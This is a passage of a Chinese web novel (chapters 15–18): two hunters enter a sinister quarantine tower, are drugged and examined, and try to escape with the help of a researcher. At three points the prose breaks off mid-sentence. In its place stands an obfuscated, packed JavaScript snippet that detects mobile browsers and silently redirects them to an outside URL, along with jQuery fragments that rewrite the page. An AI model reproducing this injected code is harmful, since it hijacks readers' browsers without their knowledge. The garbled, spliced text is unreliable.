“连钰,你这么说也太不顾同学情分。”李景阳进了温室后明显更有底气,大概是觉得自己远比连钰这见习猎人要强得多。 “谁和你同学,你叫什么我都不知道。”连钰嘀咕,可音量足以让站着的几人都听见。 李景阳没料到连钰不仅不气愤于自己进入温室,反而装作无所谓的样子,还说不知道他的名字。 “行行行。既然你这么说,那我就自我介绍下。我是李景阳,负责你们所有检查和后续的净化。” 楚明锋都被这人逗乐了。他上前一步,直接靠着身高优势微微俯视李景阳,一张嘴就要气人。 “想要负责检查我和我的队员,你还不够格。” 15. 绿日时代(15)令人抗拒的触碰 李景阳一噎。 他没出示自己的证件,为的就是不被人看出来自己只是温室里负责跑腿递文件的,根本不是研究员。 “不管怎么样,你们都得跟我去检查。” 连钰看出来这人强行伪装成高端人士,结果惨遭内行人识破。她没接着嘲讽几句,没必要。 “小荣,我们先去一步。你把车开回基地,就回自己房间,没事少出门。” 楚明锋叮嘱了几句,小荣点头。两人就跟着李景阳上了温室在城门口停放的检疫车。 真像喂肥了被拉去宰了…… 连钰脑补了下躺在流水线里被盖上蓝色的章,自己把自己逗乐了。 她试图往车窗外看,发现这车后座连车窗都没有,还不如她的世界里押送犯人的车辆。 车辆前后隔离,李景阳在前面开车,没了这人叨叨,清净了许多。 “别看了,如果我们运气不好,说不定今天的检查人员会让我们摘除一切设备。” 楚明锋突然开口。 连钰:? “那你之前还说我们要保持联系。” 楚明锋无奈一笑。 连钰:“懂了,说给小荣听的。”所以大哥你是准备进去就坐以待毙吗?我不信。 “我会想办法让我们分一起。” “那要是不能呢?” “那说明伟大事业需要后人继承。” 连钰:…… 怎么办,看起来不靠谱的队长在取得我的信任之后又开始不靠谱了。 “不是还有小荣的朋友么。”楚明锋看出连钰的无语,补了一句,但是实在没多大用。 “那小荣说自己认识温室的研究员之前,你也信心满满……” 连钰感觉楚队又在玩什么花招了,但是不肯告诉自己。 随便吧,毁灭吧,您老能带我躺赢就行。惨胜也可以,只要我能完成任务。 楚明锋的俊脸一瞬间不知道做什么表情,显然是没考虑到这点。 好好好,你忽悠我都没带考虑后果的。 虽然说着只要大哥带我探索世界真相就好,连钰还是有点恼。尽管她知道自己没什么理由生气。 刚认识几天而已,就算是队友又怎样,末世里什么关系才能让人全盘告知自己的秘密。 还是要和梦境里的人保持距离。她想。 楚明锋想了会儿发现自己确实没法解释这点矛盾,他抬眼,刚想试图挽救一下,就发现对面的女孩垂眼装作不知,气氛已经冷了下来。 他不擅长隐瞒。也不擅长撒谎。 算了。他想。不久后连钰会理解的。在这个世界什么都很重要,一点干净的水和一口饭都无比珍贵,但是什么也都不重要,因为所有人的结局都是一样,除非…… 除非他们真的能做到那件事。 连钰还不清楚永昼城占地面积多大,但是检疫车确实不是几分钟就能抵达温室。在这期间,两人再没说过话,一个低头看地板,一个望天花板。 车辆不知行驶了多久,连钰没看过腕表。在她快睡着的时候终于到了。 车门呼啦一声打开,李景阳在门外等着他们。 他大概是不想被楚明锋嘲讽,没再说话。连钰跟在后面,再一次观摩了这座漂亮的方尖塔。 近距离看,这栋建筑很有未来设计感。尤其是在绿日之下,整栋楼都溢着流光,外表折射出的冷色让人屏息。 连钰再一次看到小型飞行器,大概是只在城里飞行,这几日她在外出任务没有见过。也许外界的天空还有飞行类怪物。 飞行器应当是定时运输物资。这里除了有许可的人,其他人都进不来,所有和外界的交流都由专人负责,物资也一应清单式配齐。 光看管理,连钰只觉得高层应当是有想法的,但是永昼城何以变得不再以人类利益至上,需要查清楚。正好,她来了。 这种在作死边缘反复横跳的剧情,留声机肯定很爱。 在刷卡认证身份后,他们的设备果然全部被收走。一位穿着白大褂的研究员接替李景阳为他们引导。 研究员刷卡后选择了8层。 “等会我们先在第八层接受全面检查,报告会在一小时内出,在此期间我会带你们去29层等候。如果需要后续治疗,应该也是由我来负责。” 戴着黑色细框眼镜的研究员一直面带笑容,说话也轻声细语,让有些困倦的连钰不得不打起精神聆听。 电梯很快就到第八层。两人跟随研究员进入一间充满金属感的屋子。屋内陈设很简单,只有四台和核磁共振很像的机器和可移动的小推车。除此之外,只有消毒水味。 “请两位躺下。” 连钰从善如流,选了靠里面的机器,楚明锋沉默地跟着挨着她进了机器。 在完全躺下前,她眼角余光瞥见楚明锋张了张嘴想说什么,但似乎顾忌研究员在场,又或者压根没想好说话内容,最终只是闭上了嘴。 连钰不想问,直接躺下被仪器推入黑暗。 仪器里一片漆黑,一阵嗡鸣后机器启动,连钰躺在里面心如止水。 但是很快,她就觉得自己更困了。 明明在车里晃悠都没完全睡着,躺在这里倒是困意很浓。 不对,为什么这么困……她摇头,想驱赶睡意。 不对劲。 而且,越来越热了。这该死的永昼城不会真要把她宰了烧烤吧。 连钰咬住舌尖,尝到了血的味道,才略微清醒过来。 胸口烫到跟塞了团火似的,越烧越旺。她觉得自己气成河豚也不会比这还怒火中烧了,毕竟她习惯了冷处理,被年级主任逮到晚上偷偷看小说她也就是默默听训斥。什么都是默默听,或者装作不知道。 有一瞬间,她觉得身体内部有什么东西悄然裂开了。 好疼…… 她张嘴想求救,又默默闭嘴忍痛。没人会救她。就当作没有疼痛。 很快,她的眼睛也开始发烫,眼球要熔化一般。她不停眨眼,很快灼热感减轻了些,她意识到不是胸口和眼球不烫,而是她在发热。 “编号1080619003X,听得见吗?” 连钰费劲力气睁眼,眼前一片朦胧。 “1080619003X号出现高热症状,现在送入29层隔离,等候治疗。” 要把她送到哪里去……29层?可是她本来就要去那里等结果。 不过,现在不需要等了。她的症状太明显。 行,阳谋。不管咋样都得去29层了。 她躺着半睁眼,研究员推着她走。天花板的白炽灯光唰唰闪过,整得她头晕目眩。一片茫然中,连钰听见头顶处还有一架病床车轮滚动的声音。 是队长吧。 老小子你还真和我一起。 说,你是不是买通研究员了! 连钰真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233462|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想张嘴喊出声,随机觉得自己这也太智障了。她现在怎么跟喝醉了耍酒疯一样。 为了不在高贵的研究员面前丢脸,她牢牢闭紧嘴巴,甚至用上牙咬住下-唇。 话说队长现在会不会和我一样蠢啊,想看。 她头扭了扭,但是推着她的研究员方向一拐进了病房,她只来得及在白大褂和房门没遮住的一小块地方看了楚明锋一眼。 他当时也正好看往连钰的方向。眼睛眯起来,像受不了光线似的,看起来竟然有点柔弱。 装什么可怜,我呸。快把你的海蓝宝大眼睛睁开。 连钰不知道她现在也是一副要睡着半死不活的样子,两人彼此彼此。 “咔哒”一声,房门合上。连钰又费力转头看这研究员到底要把她怎样。 戴着口罩和护目镜的研究员把她推到了病床边,俯身把几乎不能动的连钰抱到床上,又把病床调至平躺状态。 “1080619003X,连钰。”连钰听声音知道这不是刚才那个笑眯眯的研究员,换人了。 她点头,示意自己是。 “初步判断你已经感染污染病,监测设备捕捉到你在执行任务期间污染值急剧升高。所以,”他顿了顿,突然坐到病床边,俯身看进连钰的眼睛,“所以,之后由我来净化你。” 医生,啊不是,研究员,你知不知道你这样子挺bt的。 连钰想质问,可是研究员琥珀色的眼睛好像有魔力,她盯了几秒钟,困意就席卷而来。 朦朦胧胧间,研究员在她耳畔低语,声音似远忽近。 “你不记得了,没关系,我等你想起来的那天。” 隔着医用手套,他触摸了连钰的脸颊。橡胶的触感很奇特,滑滑的却又带着凝滞感,在女孩光滑的脸上一顿一顿。 “等到那一天,你的世界会变成什么样,我很期待。” 连钰已经完全闭上眼睛,但研究员的话语还是传进她的脑海,她被动地接受,无力质问反驳。 她处于奇异的半梦半醒状态,知道自己在沉睡但也无法清醒。 可她很讨厌这个人的触感。让她想起了……想起,曾经有什么存在以同样的方式戏弄她。 她看不见研究员琥珀色的眼珠在白炽灯光下也让人无法移开眼睛,如果在完全清醒的状态下望进去就会发现眼球的颜色会在某时刻奇异地扭动,就好像,眼球是活的。 看着连钰熟睡,即便隔着口罩也能感受到研究员笑了。他起身为病号掖好被子,接着转身推动移动病床。 呼啦,呼啦。 车轮在光滑的地面上滚动。 房门关闭。两位研究员同时从挨着的病房出来,步伐一致地推着病床向电梯走去。如果仔细观察,就会发现刚才负责连钰的研究员的眼睛变成了黑色,冰冷戏谑的气质也荡然无存。 现在的他看起来就是个普通的打工人。 两个打工人步调一致,没有交头接耳。 没有必要。 这里是29层。是专门为净化猎人设置的区域。他们几乎每天都要来,见证猎人们被净化。 猎人都是可怜人,被迫在没有绿日的外界与怪物厮杀。在研究员看来,这是伟大的牺牲。所以,就由他们去除污染,还猎人一个干净。 这是温室所有人的信念之一。在他们进入这座方尖塔的时候,就对城主立下誓言。 他们会让绿日的光芒再次照耀猎人。 16. 绿日时代(16)偷跑后私会 连钰醒来时,床头的仪器正负责地运行,一声又一声的滴滴吵得她头晕。 她嗓子沙哑到一度说不出话,眼球仍有滚烫后的余温,热热的像敷了睡眠眼罩。 “有人、吗?”她一顿一顿地挤出字眼。 实在是太渴了。 她自从进了那个像核磁共振的仪器就热得不行。现在好一些,但显然之前的发热消耗了许多水分,身体微微有些粘腻。 连钰低头一看,从城外回来穿着的作战服不见了,取而代之的是一身蓝白病号服。有人帮她换了衣服,但没有擦洗。 照顾了病号,但不多。 空旷的病房里只有一张病床和几台设备。旁边的小桌子,别说水了,连张抽纸都没有。 连钰沉默。温室这是不把得了污染病的猎人当人看啊,装也装到位行吗。 正在她觉得自己是不是会被饿死渴死的时候,房门打开了。一道人影从白晃晃的走廊进来,又关上门隔绝了外面刺眼的灯光。 连钰抬眼。来的不是李景阳又是谁。 她有些懒得和这人说话,他简直阴魂不散。但是吧,她又确实很想喝水…… “到打针的时候了。”出乎意料的,李景阳没有发表降智言论,反而把手里托盘放下,像模像样地开启小药瓶,用针管抽取药水。 药水抽得很快,就在连钰晃神的时候,李景阳已经挤出空气,药水在空中划出一道漂亮的透明弧线。 “等等,我要喝水。”连钰眼瞅着李景阳就要给自注射不明药物,赶紧出声。 李景阳虽戴了口罩,但眼睛露在外面,连钰自然没有错过他的白眼。 “事儿真多。现在没水,等会我给你提点。” 说着,他往前迈了一步。 “不行,我要渴死了。我真的要死了。” 连钰摊开四肢,眼神呆滞,嘴巴微张,一副你不给我喝水我就不行了的模样。李景阳和她做训练生时一直不对付,不管是原身还是现在的连钰,对他不是回怼就是痛击,没有现在这样……无赖。 他觉得有点新奇,真的止住了脚步。眼神扫过连钰,发现她的确额头挂着细小的汗珠,嘴唇干裂,不像说谎。 “你庆幸来的是我吧。换了别人,可没这么好心。” 他一边嘴里嘀嘀咕咕,一边放下针管。刚要转身,就想起来了什么,把针管放回托盘,连带着托盘一起端走。 “等着。”李景阳丢下这句话就出门了。 连钰松了口气,还好她看穿了这人小学鸡的本质,稍微放软态度对方就会“满意”。 她连忙掀了被子起身。刚刚那会儿功夫她恢复了一点体力,虽然还是有点晕乎,但好歹感觉手脚都是自己的。 “这一层都没有饮用水,你还是先……” 刚走到门口的连钰和正好折返打开门的李景阳面面相觑。 李景阳一脸“你不是快渴死了怎么诈尸了”,连钰则趁对方右手握着门把手,左手托着药水的时候砰地一拳直击李景阳太阳穴。李景阳吃痛差点没喊出声,还没回击就又被连钰捂住了嘴,一把拽进房间关上门。 李景阳背靠着房门被捂着嘴,却出人意料地没动弹。 “别出声,要是喊来人我第一个先把你打一顿。” 连钰想了想电视剧里的反派,“恶狠狠”地威胁对方。没办法,谁让她被拉入梦境世界前是个老实本分的良民。 李景阳无奈,眼睛往下看。连钰顺着视线一瞅,自己正捂着对方嘴。 他确实喊不出声…… 就在连钰脑海里蹦出这句话的时候,李景阳突然动了,但是他第一反应不是揍回去,反而用空着的右手抓起针管就要往连钰身上刺。 我去,你小子容嬷嬷啊! 连钰一惊,瞬间启动能力,在慢速播放里KO弱鸡李景阳,夺了他手里的针剂。 启用能力后,眼球果不其然又开始灼痛,但这时候顾不上了。 连钰忍着痛把李景阳掼到地上,把他双手扭至腰际锁住,成功让他也痛到。 “你要扎我?”连钰调整了下姿势,用膝盖压住李景阳,一只手捡起掉落的针管,里面的药水澄澈分明,针管被摔了似乎也没什么影响。 “那就让你自己试试。”也轮到我紫薇翻身做地主了。 李景阳一脸惊恐,拼命扭动要避开,但是连钰不是那种做坏事还要放狠话磨叽的人,一下子就扎进他的脖颈。 嘶。 连钰一时激动扎有点狠,怕针头给撅断了。不过还好扎的是李景阳,换了陌生人,她扎完还有点心理负担呢。 李景阳挣-扎的动作瞬间停下,整个人僵住了,不到三秒钟就开始气喘。连钰观察了一下,发现他已经失去了行动能力,全身冒汗如同在40度的天气狂奔。 “喂,你有没有哪里格外不舒服?”连钰有个猜想,现在正好她和李景阳身份互换,对方成了小白鼠,她不得观察一下。 “嗬……”可惜李景阳身体素质还不如连钰,甚至可能没有觉醒任何能力,应当和她这样的猎人反应有所不同,现在弱得连话都说不上。 连钰觉得无趣,自己拖着残破的身躯将另一具破娃娃拖到床底下,之后把门开了一条缝,左右观察后发现走廊暂时没人,才闪身出来。 队长明知有危险却不抵抗进入温室,有可能要在这里搜索到什么决定性物品。现在他们心里都清楚永昼城高层一定有问题,对于连钰来说,这涉及到她的任务——调查真相,对于队长来说,也许他有什么这个时代少数人类拥有的崇高理想,也许是因为别的,需要冒着风险回到城里甚至进入温室才行。 无论如何,他们目标一致。反正她都被温室伤害过了,动用能力的时候相对之前明显迟钝,被抓到也不过是再让她做小白鼠之类的。所以连钰出门的时候没有在意监控。 但很快她就发现……这压根没监控。 不科学啊。 连钰一边搜索房间一边嘀咕,温室对猎人的态度很明显不对劲,疑似让猎人能力退化,又摧毁身体机能,还要注射药剂,竟然不做任何措施监视他们。 除非…… 她深吸一口气,在摸索了一圈后发现除了隔壁有人但门锁了,其余都是空的病房后走到了电梯处。 她抬头,发现这里竟然也没有任何监控设施。 除非温室根本不需要监控就能掌握他们的一举一动。 狂妄、傲慢,又让人不由自主恐惧。 她现在的举动是不是也落入了谁的眼里?但是这帮人又是怎么做到的? 她心里保留疑问。但既然现在没人抓她,那她就放飞自我。 连钰顺着有电梯的这侧找了半天,发现空荡荡的一条走廊除了电梯,没有任何开口。她觉得从电梯走万一出来就是开门杀多不划算,不如把这一整层看完。 抱着这种咸鱼式搜索心态,她走完了整层。 整栋建筑呈回字结构,电梯在其中一侧的外墙,剩余三条走廊都是满满当当的房间。中间不是天井,反而是四面空旷的白墙。 连钰走了一会儿就累了,扶着某个病房房门瞪视着这大白墙。 虽然她想吐槽,但用脚趾头想想也知道,这肯定不是单纯的墙体,入口可能需要特殊办法才能显现。 她喘口气正要抬脚离开,余光瞥见了病房号。没错,这里的病房有编号,她自己的是2911,队长大概是在锁上的2912,她现在在2903。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233463|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而她刚刚走过的,是2905。 连钰走向两间病房中间,又走到了正对面。面前的白墙空空荡荡,一览无余,她伸手按压摸索。在摸到某一处时,一个光点闪了又灭。 连钰一怔,抬手估摸了一下。那大概是……门把手的位置。 这里有一扇门。 但是怎么进去,是个问题。 “叮——” 有人正从电梯下来。 连钰心猛地一跳,还好她现在处于拐过来的这条走廊,电梯里的人不知道她已经出来了。 她侧耳倾听脚步声,发现不是朝自己这个方向走来,略微松了口气,随机又想到,他们应该是去队长那了。 想起李景阳带来的药剂,连钰拧眉,要是队长被注射-了药剂…… 她顺着墙根摸到拐角处。一个白大褂研究员正端着什么走向2912。 果然。 但这位研究员在2911停下,似乎是听见了什么动静,接着像是犹豫了一下,开了2912的门但是在正要进去的时候回到了2911。 好机会。 连钰趁机踮脚狂奔至2911旁,在外面的这几日虽然短暂但是跟着两位身手好的猎人,多少能学到点东西。至少她现在行动时收住脚步声轻而易举。 研究员正背对着连钰,弯腰掀起被子,露-出了被垂下的被子遮住的李景阳。 连钰闪到2912,虚掩上门。虽然这里的研究员应当和小荣说的朋友那样智商高武力值低,但是她不能保证隔壁的研究员听不见关门的咔哒声。至于锁门,抱歉,这里的门从里面锁不了。 她回身冲到病床旁,果然队长就在她隔壁。床上的男人听见动静后转头就看见自己队员一头牛似的冲来,差点没绷住表情。 “你就这么跑出来了?”楚明锋说话声音低低的,看起来还没有连钰恢复得好。 “是啊,大不了抓我回去做实验。” “那你找到什么了?” 连钰看着说话的楚明锋,觉得队长未免太虚弱,说话有气无力。 她答:“楼层中心的墙体有隐藏的门,但我还没找到怎么进去。” 楚明锋:“没事。到了能离开的时候,我们就能离开。那扇门……别试图进去了。” 连钰皱眉,这和她想的不一样。楚明锋不是要来温室找物品,那他是为什么“心甘情愿”被人摆布。 楚明锋似是看出她所想,终于开口:“一切都取决于祂。” 他知道连钰会追问,接着说:“不要觉得你所做的一切徒劳无功,按你想做去做。” 连钰彻底糊涂了。她讨厌被控制,被摆布,被人当作小白鼠关起来。楚明锋一边任由他们被伤害,一边纵容她反抗,却又不做任何提示。 “我所做的一切都出于必要。请相信我。” 楚明锋躺在雪白的病床上,一张脸也衬得毫无血色,唯有一双眼睛仍然夺目。他定定地注视连钰,伸手扣住她的后脑勺,把她拉近自己。接着用左手握拳轻轻碰了下她握成拳的右手。 连钰一怔,没有抵抗,但因为太过近距离接触有些慌乱。她觉得自己是太紧张了,毕竟研究员就在隔壁,随时都会过来。 “也相信你自己。”他呢-喃着,像情-人的耳语,说的内容却让人毫无他念只有疑惑,“你逃出来,是必要的;我不抵抗,是必要的;小荣之后对我们的帮助,也是必要的。这是我们摸出的规律。” 规律。 连钰默默咀嚼了这个词。一瞬间有所悟。 正在两人对视无言之时,隔壁的研究员蹲下身,却没有扶起李景阳。 李景阳双眼朦胧时看见来者,身体颤-抖得更厉害。 17. 绿日时代(17)人生如戏都要演 “父亲。”李景阳抖着身体被来者单手从床底拽出,他不敢磨蹭,自己哆哆嗦嗦爬起来靠着床头小桌子。 尽管他很想站起来,但他刚被注射药剂,身体素质又远不比正式猎人,副作用反应强烈。而且……示弱是他下意识的行为。 被他唤作父亲的男人表现得完全不像正常认知里父亲该有的样子。黑发琥珀瞳色的研究员只是淡漠地扫了一眼地上的儿子,捡起空了的药瓶和针管,若有所思。 接着,他突然将自己上衣口袋里的针管扎进李景阳的手臂,李景阳大骇之下却一声不吭,默默看着他抽取了一管血液。 “真是没用。”男人皱着眉,将针管放好,没有丝毫帮助儿子起身的意思。 他耳朵微动,似是听见了什么,眼睛弯起如新月,但让李景阳更不寒而栗。 李景阳缩起身子,不想引起“父亲”的注意。 他知道,自己的父亲冷漠无情,自私自利,由于头脑出众,更多了几分常人没有的疯狂与偏执。这样的人在温室却不是个例,这里几乎所有人都让人无法忍受。 但是…… 有一点李景阳很确定。他父亲从来不笑。父亲只会轻蔑、无视,连多余的情绪都少有。 每当父亲身上有什么变化,就是那个存在降临了。 他不知道那个存在有没有发现自己意识到了父亲不再是从前的父亲,或许知道但不在意。但他不敢暴露自己。 这里实在太奇怪了,从人到建筑都是。他以为成为温室一份子是荣誉,但他现在只想逃离。 李景阳担心有一天自己也会不知不觉就被侵蚀、同化。 “你说,像他们这样聪明的人为什么不能多几个。从前的人都太无聊了。” 李哲,又或许是未知存在,摇了摇头。他根本没期待李景阳的回应,只是自说自话。他又自言自语了一句,轻不可察。 等到他转身扶起李景阳,李景阳就知道,那个存在走了。 “第一次查房就能被虚弱的猎人打败,还被人注射-了药剂。我看你之后还是跟着高级研究员,从助手做起。” 父亲毫不留情地训斥他,可李景阳莫名感到轻松。他逐渐恢复了力气,颤颤巍巍跟在李哲后头。李哲把针管插-进上衣口袋,径直朝2912走来。 连钰在一瞬间思考了很多东西。比如她要不要打晕这个研究员,虽然听队长的意思,逃不逃出去不重要…… 啪嗒,啪嗒。 在研究员走进这个房间前,她终于从队长身上离开,一个滑铲进了床底。 抱歉,这让我想到了班主任在后门窥视,实在是本能反应。连钰躺在床底开始准备一会儿的被抓感言。 楚明锋无奈一笑,将被子拖下去点盖住。 既然她想玩,就陪她玩。反正这一切都是游戏。 “1030820001Y号,清醒速度适中,有任何不-良反应吗?” 李哲掏出巴掌大的笔记本,竟真的在查房。 “渴。” “一会儿会有人送水。” “那没了。”楚明锋躺得很平,各种意义上。 “没了吗?”李哲微微侧头等待。他人到中年,皮肤却没有任何皱纹,眼睛又恰好是玻璃珠般的琥珀色,这样的动作竟然有一分天真。可楚明锋知道他的真实面目,配合他只是为了……祂。 “那么床底下的小老鼠可以出来了。”李哲微笑着掀起被子,在连钰正翻身要出来时俯身堵住她的路。 连钰:? 她先是一顿,接着发现眼前的研究员给她莫名的熟悉感。之前她刚从仪器出来时,是不是他推的自己? 但是,这种熟悉感让她有些害怕,就好像她忘了恐怖的记忆。 “出来吧。”眼前的男人摘了口罩,露-出一张看着温和无害的脸庞。 就在连钰要推开他出来时,研究员的眼珠奇异地扭动了一下。 琥珀色的眼珠,活了。 ! 连钰下意识要制服他,可打出的拳头被一把拦住。看似瘦弱的研究员力气大得惊人。连钰的目光被强制吸引到李哲的眼睛上。 琥珀色的背后,一缕黑白色交织如鱼游过,连钰一霎那如同电击。 她想起来了。 在那扇门被合上后,她的小屋访客半强迫地牵着她走进屋子深处,让她坐回原位。 怪物、道场、夜幕,祂…… 祂让自己看见了不该看见的存在。 明明自己是闭着眼的,合上的眼皮却被迫成了荧幕,她的眼前浮现出不属于自己的画面。是那个存在,故意让自己看见的。 有谁在她耳边呢-喃:“这么快就回忆起来,可是会遭到反噬的。” 可是她控制不住回忆涌入。 巨大的夜幕上匍匐的女体在某一刻挣-扎,本该合眼安睡的她,或者祂,仿佛在忍受剧痛,激烈颤-抖起来。接着,腹部有一颗眼珠睁开了,往下瞧,将广袤的人类世界收入眼底。 尚带着血丝的眼珠快速转动,让那具身体更痛了。 经历了一秒,抑或是一年,时间的流速对于这具躯体而言毫无意义。 那枚眼珠终于掉落了,连带着从腹部扯落的脐带状物品坠-落。它们坠-落到了……到了哪里。她明明看见过…… 温热的液-体从连钰的七窍流出,她正忍受极大痛苦,可对于真相的追求让她无视了身体的疼痛。 “嗬……在,在哪里。”她口吐鲜血,冒出的血咕嘟声淹没了她的呓语。 “连钰?”病床上的楚明锋意识到不对劲要翻身下床,却被抬头的李哲拦住。 李哲仿若感觉不到疼痛一样任由楚明锋袭击,强硬地将楚明锋按在床上,李景阳见状从床边抽出束缚带,协助李哲捆住不停挣-扎的楚明锋。 楚明锋胸口胀痛滚烫,一股气憋着直让他梗住喉咙。 为了计划顺利,讨好那位存在,方便后续行动,他和队员可以在温室陪他们玩过家家。即便核晶受损也无所谓,这是必要的牺牲。可是倘若连钰会把命丢在这里,他也不吝于螳臂当车。 束缚住楚明锋的李哲眼珠又迅速转动,瞳孔颜色瞬间变得驳杂,他嘴唇抖动,像在不停接收讯息。 “我没有让你这么做。” “我没有想到她这么……” “把她送回去。” “让江汾来。” 古怪的对话在李哲嘴唇抖动间吐露,声音低微到只有楚明锋一人听见。 李哲的瞳孔颤-抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233464|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着趋于稳定。他恢复了面无表情,没有给楚明锋多余的眼神,俯身将七窍流血的连钰拖拽着回到2911。 楚明锋缓缓吐-出一口气,放弃无谓的挣-扎。以他的力量本可以轻而易举挣脱开束缚带,但现在的他不行。 况且…… 听到李哲如同疯子一样的自言自语,他心中已有决断。他甚至可以预见,自己和连钰能够平安离开永昼城。 因为那一位的允许。 而此时2911,连钰被李哲扔到病床上。她的回忆很短暂,已经停止,但过分的窥-探让她的身体得到了难以承受的损害。她的耳朵、眼睛、鼻孔、嘴巴甚至裸-露在外的体表可见清晰的裂痕,一丝丝血液正缓慢溢出。 李景阳得到李哲的指示去请一位高级研究员,临走之前他悄悄看了连钰一眼,眼睛微眯着,黑色的瞳仁占比更多后显得有几分悲伤。 李哲站在病床边看了连钰一会儿,在高级研究员到来之前先一步离开,像是不想撞见那一位。 很快,电梯“叮”的一声后,又一位白大褂走进2911。 不同于其他人,这位胸-前别着一朵白色的小花,颜色和衣裳融为一体,但由于其柔软的质地让人不得不注意到。这让这位研究员显得和温室冰冷的氛围格格不入。 “怎么把自己弄得这么凄惨。”出乎意料的,来人与之前的李哲等人说话截然不同。 他的咬字一长一顿,说话像是许久不开口一般犹豫,但因为他音色轻如云朵,柔若丝绵,显得格外缠绵。 如果连钰清醒着,一定会在第一时刻不由自主地认为他抱有善意,尽管她下一秒就会因为理智开始怀疑对方的意图。 小白花随着他的动作牵动,露-出盖住的胸牌:江汾。 江汾不慌不忙地坐在床边,用自己的手帕擦拭连钰的血污。擦拭干净后,他双手捧住连钰的脸颊,自己闭上眼睛。 两株极细的小嫩苗从他手心溜出,有意识地往连钰脸颊上的伤痕里钻。 “唔!” 嫩苗再细也是异物。入侵连钰的血肉不免让她排斥。 可是身体濒临崩溃的她没有多余的力气抵抗。不一会儿,等江汾挪开手掌,连钰的身体已经密布绿色的花纹,但她同时停止了由于疼痛带来的颤-抖。 “你可一定要好起来。” 江汾温柔地注视连钰,目光不掺杂一丝恶念。 “不然,我可是会被追究的。” 他叹了一口气,又从自己带来的推车上取出两瓶水,一瓶放在连钰床头,另一瓶带着去了隔壁。 楚明锋第一时间看向来者,感知到对方和温室其他人明显不同的气质后皱眉。 所有人见到江汾都会下意识地先相信,再怀疑。 相信,是因为他的气质太过无害。怀疑,是末世里人类生存的本能。 楚明锋注意到对方带来了纯净水,看瓶身,还是训练基地里提供的那种。但他在等对方说话。 “楚队您好,您大概已经从旁人那里听说过我了。”江汾微微一笑,对楚明锋的警戒毫不在意。但说的话让他直皱眉。 楚明锋回想后断定自己没有听说过这号人。 “我是小荣的朋友,也是来救你们的人。” 18. 绿日时代(18)大胆作死 “救我们?”楚明锋反应过来眼前的研究员就是小荣所说的朋友,从胸-前插的半截身份卡可以看出,这位朋友年纪轻轻已经是高级研究员,这一点他没想到。但这不影响他持悲观态度。 “温室没有那么好出去。你确定要搅和进来么?一旦你也成为一份子……”你就不得不继续上演让祂感兴趣的剧情,和我们一样无法摆脱命运。 江汾颔首:“我确定。这是小荣想做的事情,而且,在进入温室之后,我也有一些疑惑。” 他默默将手心贴在楚明锋的额头,这回楚明锋没有表现出抗拒,任由他的嫩芽修复自己。 既然这也是他自己的选择,楚明锋就没什么好拦的。 楚明锋在绵密如针刺的疼痛中强迫自己思考,说:“既然如此,不如主动出击。” 刚才连钰因为李哲的举动就莫名流血。李哲是他打探到的,祂的容器之一。祂能够随意戏耍人类,也许一个眼神、一个动作都能让人类无法承受。 再这样下去,他怕自己的队员撑不到这场戏落幕之时。 江汾收回手,看着楚明锋吐完一口气后,道:“那就请挟持我吧。” 他察觉楚明锋知道他的高级研究员身份,也许他的身份能派上用场。 “不过,”江汾一顿,“我们必须要有个见证。” 楚明锋会意:“自导自演容易让人拆穿,趣味性就不够。” 之后的几日,都是江汾来查房。他来时,和之前的研究员不同,从未给二人注射过药剂,只会在要给他们治疗时支开跟着他的李景阳。 不错,李景阳真的被他爸打发来跟着别人学做事。 串过消息的连钰和楚明锋在被治疗时不吝于低呼喊痛,让本就不够聪明的李景阳相信研究员的确在做和自己父亲同样的实验。 某一日,在连钰觉得这样的生活应当快让人感到无聊的时候,她在治疗时突然剧烈咳嗽。江汾一怔,随机意识到她要行动了。 正按照江汾指示要给连钰检测污染值的李景阳一愣:“怎么会症状反复?” 连钰自进了29层,除了发热、流血、晕眩(当然是装的)等症状外,没有咳嗽。他不免纠结了一下。 “李景阳,你去28层拿一下她的病历。”江汾从容地使唤李景阳,后者点头转头就要走,却紧接着就听见身后传来惊呼声。 李景阳急忙转身,只见之前还要把肺咳出来的连钰用手肘锁住江汾的喉咙,又当着他面抽出江汾一直别在衣襟上的钢笔,对准江汾的喉咙就作势要扎。 “你伤了他也走不出这里!”李景阳又急又气,急的是江汾要是出什么事他大概率吃不了兜着走,像他这样打下手的在温室里就是耗材,表现不好的人就再也没在这见过;气的是自己也曾经是训练生,现在退化得连虚弱的连钰趁他不注意制服江汾都无法反应过来。 “走不走得出去,不关你的事。现在,你要是不听我的话,我就先弄死他,再绑你带路。”连钰狡黠一笑,笔尖深-入一分,已经划出一点血丝。 李景阳:“你别动他!你到底要怎么样?” “我要你用束缚带把自己绑在床上。” 